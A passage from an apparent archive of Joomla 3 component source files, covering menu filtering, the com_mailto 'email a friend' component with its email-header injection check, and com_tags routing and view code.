				->where($db->qn('m.published') . ' = 1')
				->where($db->qn('m.client_id') . ' = 1')
				->group($db->qn('m.language'));

			$mLanguages = $db->setQuery($query)->loadColumn();

			// Check if we have a mod_menu module set to All languages or a mod_menu module for each admin language.
			if (!in_array('*', $mLanguages) && count($langMissing = array_diff(array_keys($langCodes), $mLanguages)))
			{
				$app         = JFactory::getApplication();
				$langMissing = array_intersect_key($langCodes, array_flip($langMissing));

				$app->enqueueMessage(JText::sprintf('JMENU_MULTILANG_WARNING_MISSING_MODULES', implode(', ', $langMissing)), 'warning');
			}
		}

		return parent::display();
	}
}
com_menus/models/forms/filter_items.xml000060400000007406152453734450014371 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<field
		name="client_id"
		type="list"
		label=""
		filtermode="selector"
		onchange="this.form.submit();"
		>
		<option value="0">JSITE</option>
		<option value="1">JADMINISTRATOR</option>
	</field>
	<field
		name="menutype"
		type="menu"
		label="COM_MENUS_FILTER_CATEGORY"
		description="JOPTION_FILTER_CATEGORY_DESC"
		accesstype="manage"
		clientid=""
		showAll="false"
		filtermode="selector"
		onchange="this.form.submit();"
		>
		<option value="">COM_MENUS_SELECT_MENU</option>
	</field>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_MENUS_ITEMS_SEARCH_FILTER_LABEL"
			description="COM_MENUS_ITEMS_SEARCH_FILTER"
			hint="JSEARCH_FILTER"
			noresults="JGLOBAL_NO_MATCHING_RESULTS"
		/>
		<field
			name="published"
			type="status"
			label="COM_MENUS_FILTER_PUBLISHED"
			description="COM_MENUS_FILTER_PUBLISHED_DESC"
			filter="*,0,1,-2"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>
		<field
			name="access"
			type="accesslevel"
			label="JOPTION_FILTER_ACCESS"
			description="JOPTION_FILTER_ACCESS_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_ACCESS</option>
		</field>
		<field
			name="language"
			type="contentlanguage"
			label="JOPTION_FILTER_LANGUAGE"
			description="JOPTION_FILTER_LANGUAGE_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_LANGUAGE</option>
			<option value="*">JALL</option>
		</field>
		<field
			name="level"
			type="integer"
			label="JOPTION_FILTER_LEVEL"
			description="JOPTION_FILTER_LEVEL_DESC"
			first="1"
			last="10"
			step="1"
			languages="*"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_MAX_LEVELS</option>
		</field>
		<field
			name="parent_id"
			type="menuitembytype"
			label="COM_MENUS_FILTER_PARENT_MENU_ITEM_LABEL"
			description="COM_MENUS_FILTER_PARENT_MENU_ITEM_DESC"
			onchange="this.form.submit();"
			>
			<option value="">COM_MENUS_FILTER_SELECT_PARENT_MENU_ITEM</option>
		</field>
	</fields>
	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			statuses="*,0,1,2,-2"
			onchange="this.form.submit();"
			default="a.lft ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.lft ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.lft DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.published ASC">JSTATUS_ASC</option>
			<option value="a.published DESC">JSTATUS_DESC</option>
			<option value="a.title ASC">JGLOBAL_TITLE_ASC</option>
			<option value="a.title DESC">JGLOBAL_TITLE_DESC</option>
			<option value="menutype_title ASC">COM_MENUS_HEADING_MENU_ASC</option>
			<option value="menutype_title DESC">COM_MENUS_HEADING_MENU_DESC</option>
			<option value="a.home ASC">COM_MENUS_HEADING_HOME_ASC</option>
			<option value="a.home DESC">COM_MENUS_HEADING_HOME_DESC</option>
			<option value="a.access ASC">JGRID_HEADING_ACCESS_ASC</option>
			<option value="a.access DESC">JGRID_HEADING_ACCESS_DESC</option>
			<option value="association ASC" requires="associations">JASSOCIATIONS_ASC</option>
			<option value="association DESC" requires="associations">JASSOCIATIONS_DESC</option>
			<option value="language ASC">JGRID_HEADING_LANGUAGE_ASC</option>
			<option value="language DESC">JGRID_HEADING_LANGUAGE_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>
		<field
			name="limit"
			type="limitbox"
			label="COM_MENUS_LIST_LIMIT"
			description="COM_MENUS_LIST_LIMIT_DESC"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_mailto/controller.php000060400000007432152453734450011601 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_mailto
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Mailer Component Controller.
 *
 * @since  1.5
 */
class MailtoController extends JControllerLegacy
{
	/**
	 * Show the form so that the user can send the link to someone.
	 *
	 * @return  void
	 *
	 * @since   1.5
	 */
	public function mailto()
	{
		$this->input->set('view', 'mailto');
		$this->display();
	}

	/**
	 * Send the message and display a notice
	 *
	 * @return  void
	 *
	 * @since  1.5
	 */
	public function send()
	{
		// Check for request forgeries
		$this->checkToken();

		$app     = JFactory::getApplication();
		$model   = $this->getModel('mailto');
		$data    = $model->getData();

		// Validate the posted data.
		$form = $model->getForm();

		if (!$form)
		{
			JError::raiseError(500, $model->getError());

			return false;
		}

		if (!$model->validate($form, $data))
		{
			$errors = $model->getErrors();

			foreach ($errors as $error)
			{
				$errorMessage = $error;

				if ($error instanceof Exception)
				{
					$errorMessage = $error->getMessage();
				}

				$app->enqueueMessage($errorMessage, 'error');
			}

			return $this->mailto();
		}

		// An array of email headers we do not want to allow as input
		$headers = array (
			'Content-Type:',
			'MIME-Version:',
			'Content-Transfer-Encoding:',
			'bcc:',
			'cc:'
		);

		/*
		 * Here is the meat and potatoes of the header injection test.  We
		 * iterate over the array of form input and check for header strings.
		 * If we find one, send an unauthorized header and die.
		 */
		foreach ($data as $key => $value)
		{
			foreach ($headers as $header)
			{
				if (is_string($value) && strpos($value, $header) !== false)
				{
					JError::raiseError(403, '');
				}
			}
		}

		/*
		 * Free up memory
		 */
		unset($headers, $fields);

		$siteName = $app->get('sitename');
		$link     = MailtoHelper::validateHash($this->input->post->get('link', '', 'post'));

		// Verify that this is a local link
		if (!$link || !JUri::isInternal($link))
		{
			// Non-local url...
			JError::raiseNotice(500, JText::_('COM_MAILTO_EMAIL_NOT_SENT'));

			return $this->mailto();
		}

		$subject_default = JText::sprintf('COM_MAILTO_SENT_BY', $data['sender']);
		$subject         = $data['subject'] !== '' ? $data['subject'] : $subject_default;

		// Check for a valid to address
		$error = false;

		if (!$data['emailto'] || !JMailHelper::isEmailAddress($data['emailto']))
		{
			$error = JText::sprintf('COM_MAILTO_EMAIL_INVALID', $data['emailto']);

			JError::raiseWarning(0, $error);
		}

		// Check for a valid from address
		if (!$data['emailfrom'] || !JMailHelper::isEmailAddress($data['emailfrom']))
		{
			$error = JText::sprintf('COM_MAILTO_EMAIL_INVALID', $data['emailfrom']);

			JError::raiseWarning(0, $error);
		}

		if ($error)
		{
			return $this->mailto();
		}

		// Build the message to send
		$msg  = JText::_('COM_MAILTO_EMAIL_MSG');
		$body = sprintf($msg, $siteName, $data['sender'], $data['emailfrom'], $link);

		// Clean the email data
		$subject = JMailHelper::cleanSubject($subject);
		$body    = JMailHelper::cleanBody($body);

		// To send we need to use punycode.
		$data['emailfrom'] = JStringPunycode::emailToPunycode($data['emailfrom']);
		$data['emailfrom'] = JMailHelper::cleanAddress($data['emailfrom']);
		$data['emailto']   = JStringPunycode::emailToPunycode($data['emailto']);

		// Send the email
		if (JFactory::getMailer()->sendMail($data['emailfrom'], $data['sender'], $data['emailto'], $subject, $body) !== true)
		{
			JError::raiseNotice(500, JText::_('COM_MAILTO_EMAIL_NOT_SENT'));

			return $this->mailto();
		}

		$this->input->set('view', 'sent');
		$this->display();
	}
}
com_mailto/views/mailto/view.html.php000060400000001464152453734450013754 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_mailto
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Class for Mail.
 *
 * @since  1.5
 */
class MailtoViewMailto extends JViewLegacy
{
	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @since   1.5
	 */
	public function display($tpl = null)
	{
		$this->form = $this->get('Form');
		$this->link = urldecode(JFactory::getApplication()->input->get('link', '', 'BASE64'));

		return parent::display($tpl);
	}
}
com_mailto/views/mailto/tmpl/default.php000060400000003335152453734450014436 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_mailto
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.core');
JHtml::_('behavior.keepalive');

?>
<div id="mailto-window">
	<h2>
		<?php echo JText::_('COM_MAILTO_EMAIL_TO_A_FRIEND'); ?>
	</h2>
	<div class="mailto-close">
		<a href="javascript: void window.close()" title="<?php echo JText::_('COM_MAILTO_CLOSE_WINDOW'); ?>">
			<span>
				<?php echo JText::_('COM_MAILTO_CLOSE_WINDOW'); ?>
			</span>
		</a>
	</div>
	<form action="<?php echo JRoute::_('index.php?option=com_mailto&task=send'); ?>" method="post" class="form-validate form-horizontal well">
		<fieldset>
			<?php foreach ($this->form->getFieldset('') as $field) : ?>
				<?php if (!$field->hidden) : ?>
					<?php echo $field->renderField(); ?>
				<?php endif; ?>
			<?php endforeach; ?>
			<div class="control-group">
				<div class="controls">
					<button type="submit" class="btn btn-primary validate">
						<?php echo JText::_('COM_MAILTO_SEND'); ?>
					</button>
					<button type="button" class="button" onclick="window.close();return false;">
						<?php echo JText::_('COM_MAILTO_CANCEL'); ?>
					</button>
				</div>
			</div>
		</fieldset>
		<input type="hidden" name="layout" value="<?php echo htmlspecialchars($this->getLayout(), ENT_COMPAT, 'UTF-8'); ?>" />
		<input type="hidden" name="option" value="com_mailto" />
		<input type="hidden" name="task" value="send" />
		<input type="hidden" name="tmpl" value="component" />
		<input type="hidden" name="link" value="<?php echo $this->link; ?>" />
		<?php echo JHtml::_('form.token'); ?>
	</form>
</div>
com_mailto/views/sent/view.html.php000060400000000544152453734450013436 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_mailto
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Class for email sent view.
 *
 * @since  1.5
 */
class MailtoViewSent extends JViewLegacy
{
}
com_mailto/views/sent/tmpl/default.php000060400000001101152453734450014107 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_mailto
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<div style="padding: 10px;">
	<div style="text-align:right">
		<a href="javascript: void window.close()">
			<?php echo JText::_('COM_MAILTO_CLOSE_WINDOW'); ?> <?php echo JHtml::_('image', 'mailto/close-x.png', null, null, true); ?>
		</a>
	</div>
	<h2>
		<?php echo JText::_('COM_MAILTO_EMAIL_SENT'); ?>
	</h2>
</div>
com_mailto/helpers/mailto.php000060400000003776152453734450012354 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_mailto
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Mailto route helper class.
 *
 * @package     Joomla.Site
 * @subpackage  com_mailto
 * @since       1.6.1
 */
abstract class MailtoHelper
{
	/**
	 * Adds a URL to the mailto system and returns the hash
	 *
	 * @param   string  $url  Url
	 *
	 * @return  string  URL hash
	 */
	public static function addLink($url)
	{
		$hash = sha1($url);
		self::cleanHashes();

		$session      = JFactory::getSession();
		$mailto_links = $session->get('com_mailto.links', array());

		if (!isset($mailto_links[$hash]))
		{
			$mailto_links[$hash] = new stdClass;
		}

		$mailto_links[$hash]->link   = $url;
		$mailto_links[$hash]->expiry = time();
		$session->set('com_mailto.links', $mailto_links);

		return $hash;
	}

	/**
	 * Checks if a URL is a Flash file
	 *
	 * @param   string  $hash  File hash
	 *
	 * @return URL
	 */
	public static function validateHash($hash)
	{
		$retval  = false;
		$session = JFactory::getSession();

		self::cleanHashes();
		$mailto_links = $session->get('com_mailto.links', array());

		if (isset($mailto_links[$hash]))
		{
			$retval = $mailto_links[$hash]->link;
		}

		return $retval;
	}

	/**
	 * Cleans out old hashes
	 *
	 * @param   integer  $lifetime  How old are the hashes we want to remove
	 *
	 * @return  void
	 *
	 * @since 1.6.1
	 */
	public static function cleanHashes($lifetime = 1440)
	{
		// Flag for if we've cleaned on this cycle
		static $cleaned = false;

		if (!$cleaned)
		{
			$past         = time() - $lifetime;
			$session      = JFactory::getSession();
			$mailto_links = $session->get('com_mailto.links', array());

			foreach ($mailto_links as $index => $link)
			{
				if ($link->expiry < $past)
				{
					unset($mailto_links[$index]);
				}
			}

			$session->set('com_mailto.links', $mailto_links);
			$cleaned = true;
		}
	}
}
com_mailto/models/mailto.php000060400000005223152453734450012162 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Mailto model class.
 *
 * @since  3.8.9
 */
class MailtoModelMailto extends JModelForm
{
	/**
	 * Method to get the mailto form.
	 *
	 * The base form is loaded from XML and then an event is fired
	 * for users plugins to extend the form with extra fields.
	 *
	 * @param   array    $data      An optional array of data for the form to interrogate.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm	A JForm object on success, false on failure
	 *
	 * @since   3.8.9
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_mailto.mailto', 'mailto', array('load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  array  The default data is an empty array.
	 *
	 * @since   3.8.9
	 */
	protected function loadFormData()
	{
		$user = JFactory::getUser();
		$app  = JFactory::getApplication();
		$data = $app->getUserState('mailto.mailto.form.data', array());

		$data['link'] = urldecode($app->input->get('link', '', 'BASE64'));

		if ($data['link'] == '')
		{
			JError::raiseError(403, JText::_('COM_MAILTO_LINK_IS_MISSING'));

			return false;
		}

		// Load with previous data, if it exists
		$data['sender']    = $app->input->post->getString('sender', '');
		$data['subject']   = $app->input->post->getString('subject', '');
		$data['emailfrom'] = JStringPunycode::emailToPunycode($app->input->post->getString('emailfrom', ''));
		$data['emailto']   = JStringPunycode::emailToPunycode($app->input->post->getString('emailto', ''));

		if (!$user->guest)
		{
			$data['sender']    = $user->name;
			$data['emailfrom'] = $user->email;
		}

		$app->setUserState('mailto.mailto.form.data', $data);

		$this->preprocessData('com_mailto.mailto', $data);

		return $data;
	}

	/**
	 * Get the request data
	 *
	 * @return  array  The requested data
	 *
	 * @since   3.8.9
	 */
	public function getData()
	{
		$input = JFactory::getApplication()->input;

		$data['emailto']    = $input->get('emailto', '', 'string');
		$data['sender']     = $input->get('sender', '', 'string');
		$data['emailfrom']  = $input->get('emailfrom', '', 'string');
		$data['subject']    = $input->get('subject', '', 'string');
		$data['consentbox'] = $input->get('consentbox', '', 'string');

		return $data;
	}
}
com_mailto/models/forms/mailto.xml000060400000001447152453734450013325 0ustar00<?xml version="1.0" encoding="utf-8" ?>
<form>
	<fieldset name="default">
		<field
			name="emailto"
			type="email"
			label="COM_MAILTO_EMAIL_TO"
			filter="string"
			required="true"
			size="30"
			validate="email"
			autocomplete="email"
		/>

		<field
			name="sender"
			type="text"
			label="COM_MAILTO_SENDER"
			filter="string"
			required="true"
			size="30"
		/>

		<field
			name="emailfrom"
			type="email"
			label="COM_MAILTO_YOUR_EMAIL"
			filter="string"
			required="true"
			size="30"
			validate="email"
			autocomplete="email"
		/>

		<field
			name="subject"
			type="text"
			label="COM_MAILTO_SUBJECT"
			filter="string"
			required="true"
			size="30"
		/>

		<field
			name="captcha"
			type="captcha"
			label="COM_MAILTO_CAPTCHA"
			validate="captcha"
		/>
	</fieldset>
</form>
com_mailto/mailto.php000060400000000766152453734450010706 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_mailto
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('MailtoHelper', JPATH_COMPONENT . '/helpers/mailto.php');

$controller = JControllerLegacy::getInstance('Mailto');
$controller->registerDefaultTask('mailto');
$controller->execute(JFactory::getApplication()->input->get('task'));
com_mailto/mailto.xml000060400000001763152453734450010715 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.1" method="upgrade">
	<name>com_mailto</name>
	<author>Joomla! Project</author>
	<creationDate>April 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>COM_MAILTO_XML_DESCRIPTION</description>
	<files folder="site">
		<filename>controller.php</filename>
		<filename>index.html</filename>
		<filename>mailto.php</filename>
		<folder>views</folder>
	</files>
	<languages folder="site">
		<language tag="en-GB">language/en-GB.com_mailto.ini</language>
	</languages>
	<administration>
		<files folder="admin">
			<filename>index.html</filename>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_mailto.sys.ini</language>
		</languages>
	</administration>
</extension>
com_tags/helpers/route.php000060400000011713152453734450011664 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Tags Component Route Helper.
 *
 * @since  3.1
 */
class TagsHelperRoute extends JHelperRoute
{
	protected static $lookup;

	/**
	 * Tries to load the router for the component and calls it. Otherwise uses getTagRoute.
	 *
	 * @param   integer  $contentItemId     Component item id
	 * @param   string   $contentItemAlias  Component item alias
	 * @param   integer  $contentCatId      Component item category id
	 * @param   string   $language          Component item language
	 * @param   string   $typeAlias         Component type alias
	 * @param   string   $routerName        Component router
	 *
	 * @return  string  URL link to pass to JRoute
	 *
	 * @since   3.1
	 */
	public static function getItemRoute($contentItemId, $contentItemAlias, $contentCatId, $language, $typeAlias, $routerName)
	{
		$link = '';
		$explodedAlias = explode('.', $typeAlias);
		$explodedRouter = explode('::', $routerName);

		if (file_exists($routerFile = JPATH_BASE . '/components/' . $explodedAlias[0] . '/helpers/route.php'))
		{
			JLoader::register($explodedRouter[0], $routerFile);
			$routerClass = $explodedRouter[0];
			$routerMethod = $explodedRouter[1];

			if (class_exists($routerClass) && method_exists($routerClass, $routerMethod))
			{
				if ($routerMethod === 'getCategoryRoute')
				{
					$link = $routerClass::$routerMethod($contentItemId, $language);
				}
				else
				{
					$link = $routerClass::$routerMethod($contentItemId . ':' . $contentItemAlias, $contentCatId, $language);
				}
			}
		}

		if ($link === '')
		{
			// Create a fallback link in case we can't find the component router
			$router = new JHelperRoute;
			$link = $router->getRoute($contentItemId, $typeAlias, $link, $language, $contentCatId);
		}

		return $link;
	}

	/**
	 * Tries to load the router for the component and calls it. Otherwise calls getRoute.
	 *
	 * @param   integer  $id  The ID of the tag
	 *
	 * @return  string  URL link to pass to JRoute
	 *
	 * @since   3.1
	 */
	public static function getTagRoute($id)
	{
		$needles = array(
			'tag'  => array((int) $id)
		);

		if ($id < 1)
		{
			$link = '';
		}
		else
		{
			$link = 'index.php?option=com_tags&view=tag&id=' . $id;

			if ($item = self::_findItem($needles))
			{
				$link .= '&Itemid=' . $item;
			}
			else
			{
				$needles = array('tags' => array(1, 0));

				if ($item = self::_findItem($needles))
				{
					$link .= '&Itemid=' . $item;
				}
			}
		}

		return $link;
	}

	/**
	 * Tries to load the router for the tags view.
	 *
	 * @return  string  URL link to pass to JRoute
	 *
	 * @since   3.7
	 */
	public static function getTagsRoute()
	{
		$needles = array(
			'tags'  => array(0)
		);

		$link = 'index.php?option=com_tags&view=tags';

		if ($item = self::_findItem($needles))
		{
			$link .= '&Itemid=' . $item;
		}

		return $link;
	}

	/**
	 * Find Item static function
	 *
	 * @param   array  $needles  Array used to get the language value
	 *
	 * @return null
	 *
	 * @throws Exception
	 */
	protected static function _findItem($needles = null)
	{
		$app      = JFactory::getApplication();
		$menus    = $app->getMenu('site');
		$language = isset($needles['language']) ? $needles['language'] : '*';

		// Prepare the reverse lookup array.
		if (self::$lookup === null)
		{
			self::$lookup = array();

			$component = JComponentHelper::getComponent('com_tags');
			$items     = $menus->getItems('component_id', $component->id);

			if ($items)
			{
				foreach ($items as $item)
				{
					if (isset($item->query, $item->query['view']))
					{
						$lang = ($item->language != '' ? $item->language : '*');

						if (!isset(self::$lookup[$lang]))
						{
							self::$lookup[$lang] = array();
						}

						$view = $item->query['view'];

						if (!isset(self::$lookup[$lang][$view]))
						{
							self::$lookup[$lang][$view] = array();
						}

						// Only match menu items that list one tag
						if (isset($item->query['id']) && is_array($item->query['id']))
						{
							foreach ($item->query['id'] as $position => $tagId)
							{
								if (!isset(self::$lookup[$lang][$view][$item->query['id'][$position]]) || count($item->query['id']) == 1)
								{
									self::$lookup[$lang][$view][$item->query['id'][$position]] = $item->id;
								}
							}
						}
						elseif ($view == 'tags')
						{
							self::$lookup[$lang]['tags'][] = $item->id;
						}
					}
				}
			}
		}

		if ($needles)
		{
			foreach ($needles as $view => $ids)
			{
				if (isset(self::$lookup[$language][$view]))
				{
					foreach ($ids as $id)
					{
						if (isset(self::$lookup[$language][$view][(int) $id]))
						{
							return self::$lookup[$language][$view][(int) $id];
						}
					}
				}
			}
		}
		else
		{
			$active = $menus->getActive();

			if ($active)
			{
				return $active->id;
			}
		}

		return null;
	}
}
com_tags/views/tag/view.html.php000060400000006574152453734450012722 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * HTML View class for the Tags component
 *
 * @since  3.1
 */
class TagsViewTag extends JViewLegacy
{
	protected $form;

	protected $item;

	protected $state;

	protected $assoc;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		$this->form  = $this->get('Form');
		$this->item  = $this->get('Item');
		$this->state = $this->get('State');
		$this->canDo = JHelperContent::getActions('com_tags');
		$this->assoc = $this->get('Assoc');

		$input = JFactory::getApplication()->input;

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$input->set('hidemainmenu', true);
		$this->addToolbar();
		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @since  3.1
	 *
	 * @return void
	 */
	protected function addToolbar()
	{
		$user       = JFactory::getUser();
		$userId     = $user->get('id');
		$isNew      = ($this->item->id == 0);
		$checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $userId);

		// Need to load the menu language file as mod_menu hasn't been loaded yet.
		$lang = JFactory::getLanguage();
		$lang->load('com_tags', JPATH_BASE, null, false, true)
		|| $lang->load('com_tags', JPATH_ADMINISTRATOR . '/components/com_tags', null, false, true);

		// Get the results for each action.
		$canDo = $this->canDo;
		$title = JText::_('COM_TAGS_BASE_' . ($isNew ? 'ADD' : 'EDIT') . '_TITLE');

		/**
		 * Prepare the toolbar.
		 * If it is new we get: `tag tag-add add`
		 * else we get `tag tag-edit edit`
		 */
		JToolbarHelper::title($title, 'tag tag-' . ($isNew ? 'add add' : 'edit edit'));

		// For new records, check the create permission.
		if ($isNew)
		{
			JToolbarHelper::apply('tag.apply');
			JToolbarHelper::save('tag.save');
			JToolbarHelper::save2new('tag.save2new');
			JToolbarHelper::cancel('tag.cancel');
		}

		// If not checked out, can save the item.
		else
		{
			// Since it's an existing record, check the edit permission, or fall back to edit own if the owner.
			$itemEditable = $canDo->get('core.edit') || ($canDo->get('core.edit.own') && $this->item->created_user_id == $userId);

			// Can't save the record if it's checked out and editable
			if (!$checkedOut && $itemEditable)
			{
				JToolbarHelper::apply('tag.apply');
				JToolbarHelper::save('tag.save');

				if ($canDo->get('core.create'))
				{
					JToolbarHelper::save2new('tag.save2new');
				}
			}

			// If an existing item, can save to a copy.
			if ($canDo->get('core.create'))
			{
				JToolbarHelper::save2copy('tag.save2copy');
			}

			if (JComponentHelper::isEnabled('com_contenthistory') && $this->state->params->get('save_history', 0) && $itemEditable)
			{
				JToolbarHelper::versions('com_tags.tag', $this->item->id);
			}

			JToolbarHelper::cancel('tag.cancel', 'JTOOLBAR_CLOSE');
		}

		JToolbarHelper::divider();
		JToolbarHelper::help('JHELP_COMPONENTS_TAGS_MANAGER_EDIT');
		JToolbarHelper::divider();
	}
}
com_tags/views/tag/view.feed.php000060400000005000152453734450012640 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * HTML View class for the Tags component
 *
 * @since  3.1
 */
class TagsViewTag extends JViewLegacy
{
	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		$app       = JFactory::getApplication();
		$document  = JFactory::getDocument();
		$ids       = (array) $app->input->get('id', array(), 'int');
		$i         = 0;
		$tagIds    = '';

		// Remove zero values resulting from input filter
		$ids = array_filter($ids);

		foreach ($ids as $id)
		{
			if ($i !== 0)
			{
				$tagIds .= '&';
			}

			$tagIds .= 'id[' . $i . ']=' . $id;

			$i++;
		}

		$document->link = JRoute::_('index.php?option=com_tags&view=tag&' . $tagIds);

		$app->input->set('limit', $app->get('feed_limit'));
		$siteEmail        = $app->get('mailfrom');
		$fromName         = $app->get('fromname');
		$feedEmail        = $app->get('feed_email', 'none');
		$document->editor = $fromName;

		if ($feedEmail !== 'none')
		{
			$document->editorEmail = $siteEmail;
		}

		// Get some data from the model
		$items    = $this->get('Items');

		if ($items !== false)
		{
			foreach ($items as $item)
			{
				// Strip HTML from feed item title
				$title = $this->escape($item->core_title);
				$title = html_entity_decode($title, ENT_COMPAT, 'UTF-8');

				// Strip HTML from feed item description text
				$description = $item->core_body;
				$author      = $item->core_created_by_alias ?: $item->author;
				$date        = ($item->displayDate ? date('r', strtotime($item->displayDate)) : '');

				// Load individual item creator class
				$feeditem              = new JFeedItem;
				$feeditem->title       = $title;
				$feeditem->link        = JRoute::_($item->link);
				$feeditem->description = $description;
				$feeditem->date        = $date;
				$feeditem->category    = $title;
				$feeditem->author      = $author;

				if ($feedEmail === 'site')
				{
					$item->authorEmail = $siteEmail;
				}
				elseif ($feedEmail === 'author')
				{
					$item->authorEmail = $item->author_email;
				}

				// Loads item info into RSS array
				$document->addItem($feeditem);
			}
		}
	}
}
com_tags/views/tag/tmpl/default.xml000060400000015011152453734450013400 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_TAGS_TAG_VIEW_DEFAULT_TITLE" option="COM_TAGS_TAG_VIEW_DEFAULT_OPTION">
		<help
			key="JHELP_MENUS_MENU_ITEM_TAGS_ITEMS_LIST"
		/>
		<message>
			<![CDATA[COM_TAGS_TAG_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request">

			<field
				name="id"
				type="tag"
				label="COM_TAGS_FIELD_TAG_LABEL"
				description="COM_TAGS_FIELD_SELECT_TAG_DESC"
				mode="nested"
				required="true"
				multiple="true"
			/>

			<field
				name="types"
				type="contenttype"
				label="COM_TAGS_FIELD_TYPE_LABEL"
				description="COM_TAGS_FIELD_TYPE_DESC"
				multiple="true"
			/>

			<field
				name="tag_list_language_filter"
				type="contentlanguage"
				label="COM_TAGS_FIELD_LANGUAGE_FILTER_LABEL"
				description="COM_TAGS_FIELD_LANGUAGE_FILTER_DESC"
				default=""
				useglobal="true"
				>
				<option value="all">JALL</option>
				<option value="current_language">JCURRENT</option>
			</field>

		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
<fields name="params">
	<fieldset name="basic" label="COM_TAGS_OPTIONS">

			<field
				name="show_tag_title"
				type="list"
				label="COM_TAGS_SHOW_TAG_TITLE_LABEL"
				description="COM_TAGS_SHOW_TAG_TITLE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_show_tag_image"
				type="list"
